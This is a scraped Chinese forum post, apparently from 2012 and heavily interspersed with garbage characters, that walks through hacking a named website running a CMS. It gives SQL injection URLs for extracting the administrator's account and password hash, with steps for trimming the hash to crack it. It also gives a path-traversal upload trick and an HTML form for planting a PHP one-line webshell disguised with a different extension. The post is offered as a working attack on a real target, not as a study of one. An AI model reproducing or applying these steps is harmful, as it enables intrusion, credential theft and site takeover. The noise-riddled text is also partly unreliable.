①注入漏洞。2 @, q. X( V$ {! x8 L) y5 U
这站 http://www.political-security.com/) F% F7 o' h8 [4 s+ S9 U, E- z) P
首先访问“/data/admin/ver.txt”页面获取系统最后升级时间，- ]- t H7 m( m* M) k& a- e0 _. X
www.political-security.com/data/mysql_error_trace.inc 爆后台' ^& [! l6 \6 d, s0 J1 c9 v
然后访问“/member/ajax_membergroup.php?action=post&membergroup=1”页面，如图说明存在该漏洞。2 F# ]: o" z7 @) J6 M4 W
然后写上语句 - W" B* [$ n K$ U
查看管理员帐号
& x& Q# i* p4 Mhttp://www.political-security.co ... &membergroup=@`
; i2 b# w7 P0 c: c
( U- h0 u2 ?; l# ~4 X+ L5 aadmin
+ a9 t. _% w0 k! `/ s M4 r
' y- k+ m' T% z* E7 P H查看管理员密码2 `: d6 {$ J- @4 [' j
http://www.political-security.co ... &membergroup=@`0 k/ R* i- |0 Z; I* r7 t4 K% N
; E, ~3 ^4 V y# y% M8d29b1ef9f8c5a5af429
) F0 B2 E# y f& v) O
* V5 k+ @8 Y* L查看管理员密码: s2 p# ~' ?& E0 y& \7 D* m& i9 C
7 u/ D0 b" z5 q1 k得到的是19位的，去掉前三位和最后一位，得到管理员的16位MD5/ R w, m8 _! J
( q) i* _' B) j( U' F! e/ M; i7 L
8d20 Y* i, N( \4 [. j( e0 s4 ]2 A0 k' O
9b1ef9f8c5a5af42$ f+ E! i: p2 X: x$ N
92 q% V& k# C! Y- T* Q/ h1 V+ ~0 n
: `4 X, S- U7 o7 D" o, ?cmd5没解出来 只好测试第二个方法
& e' {; l% n+ s- b# ^5 n# A7 G8 X3 c
7 G! ^4 b8 r" U) W9 j2 H" j②上传漏洞：2 o; D3 `1 r5 ]4 g
O/ I# C& ~5 ?3 P6 |- l8 G
只要登陆会员中心，然后访问页面链接
/ @3 r# G9 j+ ]" V% u* t“/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post”
# T& U: L. ^+ B! v( B! t
4 [& C4 z, k: q0 a3 S4 [如图，说明通过“/plus/carbuyaction.php”已经成功调用了上传页面“/dialog/select_soft_post”
% E/ ]+ J& z: ^" ~; [; ]- D
+ p2 a v7 d8 c5 H5 u于是将Php一句话木马扩展名改为“rar”等，利用提交页面upload1.htm
# w! v0 h$ c: c5 u: s0 h, K3 I5 b, _, m4 x6 f& ^- L
<form action="http://www.political-security.com/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post" method="post" enctype="multipart/form-data" name="form1"> file:<input name="uploadfile" type="file" /><br> newname:<input name="newname" type="text" value="myfile.Php"/> <button class="button2" type="submit">提交</button><br><br>
7 [1 I6 X G% e7 C或者
" u/ M2 F# o0 `% p即可上传成功 |
发表于 2012-9-13 10:56:59
收藏
支持
反对